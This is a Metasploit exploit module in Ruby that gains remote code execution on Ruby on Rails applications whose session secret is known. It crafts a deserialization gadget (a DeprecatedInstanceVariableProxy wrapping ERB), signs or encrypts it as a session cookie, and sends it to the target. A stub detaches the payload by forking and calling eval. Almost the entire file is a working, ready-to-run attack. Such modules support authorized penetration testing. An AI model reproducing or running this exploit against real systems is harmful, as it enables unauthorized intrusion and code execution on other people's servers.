279 lines
8.9 KiB
Ruby
279 lines
8.9 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
#Helper Classes copy/paste from Rails4
|
|
class MessageVerifier
|
|
|
|
class InvalidSignature < StandardError; end
|
|
|
|
def initialize(secret, options = {})
|
|
@secret = secret
|
|
@digest = options[:digest] || 'SHA1'
|
|
@serializer = options[:serializer] || Marshal
|
|
end
|
|
|
|
def generate(value)
|
|
data = ::Base64.strict_encode64(@serializer.dump(value))
|
|
"#{data}--#{generate_digest(data)}"
|
|
end
|
|
|
|
def generate_digest(data)
|
|
require 'openssl' unless defined?(OpenSSL)
|
|
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
|
|
end
|
|
|
|
end
|
|
|
|
class MessageEncryptor
|
|
|
|
module NullSerializer #:nodoc:
|
|
|
|
def self.load(value)
|
|
value
|
|
end
|
|
|
|
def self.dump(value)
|
|
value
|
|
end
|
|
|
|
end
|
|
|
|
class InvalidMessage < StandardError; end
|
|
|
|
OpenSSLCipherError = OpenSSL::Cipher::CipherError
|
|
|
|
def initialize(secret, *signature_key_or_options)
|
|
options = signature_key_or_options.extract_options!
|
|
sign_secret = signature_key_or_options.first
|
|
@secret = secret
|
|
@sign_secret = sign_secret
|
|
@cipher = options[:cipher] || 'aes-256-cbc'
|
|
@verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
|
|
# @serializer = options[:serializer] || Marshal
|
|
end
|
|
|
|
def encrypt_and_sign(value)
|
|
@verifier.generate(_encrypt(value))
|
|
end
|
|
|
|
def _encrypt(value)
|
|
cipher = new_cipher
|
|
cipher.encrypt
|
|
cipher.key = @secret
|
|
# Rely on OpenSSL for the initialization vector
|
|
iv = cipher.random_iv
|
|
#encrypted_data = cipher.update(@serializer.dump(value))
|
|
encrypted_data = cipher.update(value)
|
|
encrypted_data << cipher.final
|
|
[encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
|
|
end
|
|
|
|
def new_cipher
|
|
OpenSSL::Cipher::Cipher.new(@cipher)
|
|
end
|
|
|
|
end
|
|
|
|
class KeyGenerator
|
|
|
|
def initialize(secret, options = {})
|
|
@secret = secret
|
|
@iterations = options[:iterations] || 2**16
|
|
end
|
|
|
|
def generate_key(salt, key_size=64)
|
|
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
|
|
end
|
|
|
|
end
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Ruby on Rails Known Secret Session Cookie Remote Code Execution',
|
|
'Description' => %q{
|
|
This module implements Remote Command Execution on Ruby on Rails applications.
|
|
Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base"
|
|
(Rails 4). The values for those can be usually found in the file
|
|
"RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by
|
|
deserialization of a crafted Ruby Object.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'joernchen of Phenoelit <joernchen[at]phenoelit.de>',
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['URL', 'https://charlie.bz/blog/rails-3.2.10-remote-code-execution'], #Initial exploit vector was taken from here
|
|
['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/']
|
|
],
|
|
'DisclosureDate' => 'Apr 11 2013',
|
|
'Platform' => 'ruby',
|
|
'Arch' => ARCH_RUBY,
|
|
'Privileged' => false,
|
|
'Targets' => [ ['Automatic', {} ] ],
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptInt.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', 3]),
|
|
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
|
|
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "GET"]),
|
|
OptString.new('SECRET', [ true, 'The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)', nil]),
|
|
OptString.new('COOKIE_NAME', [ false, 'The name of the session cookie',nil]),
|
|
OptString.new('DIGEST_NAME', [ true, 'The digest type used to HMAC the session cookie','SHA1']),
|
|
OptString.new('SALTENC', [ true, 'The encrypted cookie salt', 'encrypted cookie']),
|
|
OptString.new('SALTSIG', [ true, 'The signed encrypted cookie salt', 'signed encrypted cookie']),
|
|
OptBool.new('VALIDATE_COOKIE', [ false, 'Only send the payload if the session cookie is validated', true]),
|
|
|
|
], self.class)
|
|
end
|
|
|
|
|
|
#
|
|
# This stub ensures that the payload runs outside of the Rails process
|
|
# Otherwise, the session can be killed on timeout
|
|
#
|
|
def detached_payload_stub(code)
|
|
%Q^
|
|
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
|
|
if RUBY_PLATFORM =~ /mswin|mingw|win32/
|
|
inp = IO.popen("ruby", "wb") rescue nil
|
|
if inp
|
|
inp.write(code)
|
|
inp.close
|
|
end
|
|
else
|
|
Kernel.fork do
|
|
eval(code)
|
|
end
|
|
end
|
|
{}
|
|
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
|
|
end
|
|
|
|
def check_secret(data, digest)
|
|
data = Rex::Text.uri_decode(data)
|
|
if datastore['RAILSVERSION'] == 3
|
|
sigkey = datastore['SECRET']
|
|
elsif datastore['RAILSVERSION'] == 4
|
|
keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})
|
|
sigkey = keygen.generate_key(datastore['SALTSIG'])
|
|
end
|
|
digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(datastore['DIGEST_NAME']), sigkey, data)
|
|
end
|
|
|
|
def rails_4
|
|
keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})
|
|
enckey = keygen.generate_key(datastore['SALTENC'])
|
|
sigkey = keygen.generate_key(datastore['SALTSIG'])
|
|
crypter = MessageEncryptor.new(enckey, sigkey)
|
|
crypter.encrypt_and_sign(build_cookie)
|
|
end
|
|
|
|
def rails_3
|
|
# Sign it with the secret_token
|
|
data = build_cookie
|
|
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), datastore['SECRET'], data)
|
|
marshal_payload = Rex::Text.uri_encode(data)
|
|
"#{marshal_payload}--#{digest}"
|
|
end
|
|
|
|
def build_cookie
|
|
|
|
# Embed the payload with the detached stub
|
|
code =
|
|
"eval('" +
|
|
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
|
|
"'.unpack('m0').first)"
|
|
|
|
if datastore['RAILSVERSION'] == 4
|
|
return "\x04\b" +
|
|
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
|
|
":\x0E@instanceo" +
|
|
":\bERB\x06" +
|
|
":\t@src"+ Marshal.dump(code)[2..-1] +
|
|
":\f@method:\vresult:" +
|
|
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
|
|
end
|
|
if datastore['RAILSVERSION'] == 3
|
|
return Rex::Text.encode_base64 "\x04\x08" +
|
|
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
|
|
":\x0E@instance" +
|
|
"o"+":\x08ERB"+"\x06" +
|
|
":\x09@src" +
|
|
Marshal.dump(code)[2..-1] +
|
|
":\x0C@method"+":\x0Bresult"
|
|
end
|
|
end
|
|
|
|
#
|
|
# Send the actual request
|
|
#
|
|
def exploit
|
|
if datastore['RAILSVERSION'] == 3
|
|
cookie = rails_3
|
|
elsif datastore['RAILSVERSION'] == 4
|
|
cookie = rails_4
|
|
end
|
|
cookie_name = datastore['COOKIE_NAME']
|
|
|
|
print_status("Checking for cookie #{datastore['COOKIE_NAME']}")
|
|
res = send_request_cgi({
|
|
'uri' => datastore['TARGETURI'] || "/",
|
|
'method' => datastore['HTTP_METHOD'],
|
|
}, 25)
|
|
if res && res.headers['Set-Cookie']
|
|
match = res.headers['Set-Cookie'].match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)
|
|
end
|
|
|
|
if match
|
|
if match[1] == datastore['COOKIE_NAME']
|
|
print_status("Found cookie, now checking for proper SECRET")
|
|
else
|
|
print_status("Adjusting cookie name to #{match[1]}")
|
|
cookie_name = match[1]
|
|
end
|
|
|
|
if check_secret(match[2],match[3])
|
|
print_good("SECRET matches! Sending exploit payload")
|
|
else
|
|
fail_with(Failure::BadConfig, "SECRET does not match")
|
|
end
|
|
else
|
|
print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
|
|
if cookie_name.nil? || cookie_name.empty?
|
|
# This prevents trying to send busted cookies with no name
|
|
fail_with(Failure::BadConfig, "No cookie found and no name given")
|
|
end
|
|
if datastore['VALIDATE_COOKIE']
|
|
fail_with(Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")
|
|
else
|
|
print_status("Trying to leverage default controller without cookie confirmation.")
|
|
end
|
|
end
|
|
|
|
print_status "Sending cookie #{cookie_name}"
|
|
res = send_request_cgi({
|
|
'uri' => datastore['TARGETURI'] || "/",
|
|
'method' => datastore['HTTP_METHOD'],
|
|
'headers' => {'Cookie' => cookie_name+"="+ cookie},
|
|
}, 25)
|
|
|
|
handler
|
|
end
|
|
|
|
end
|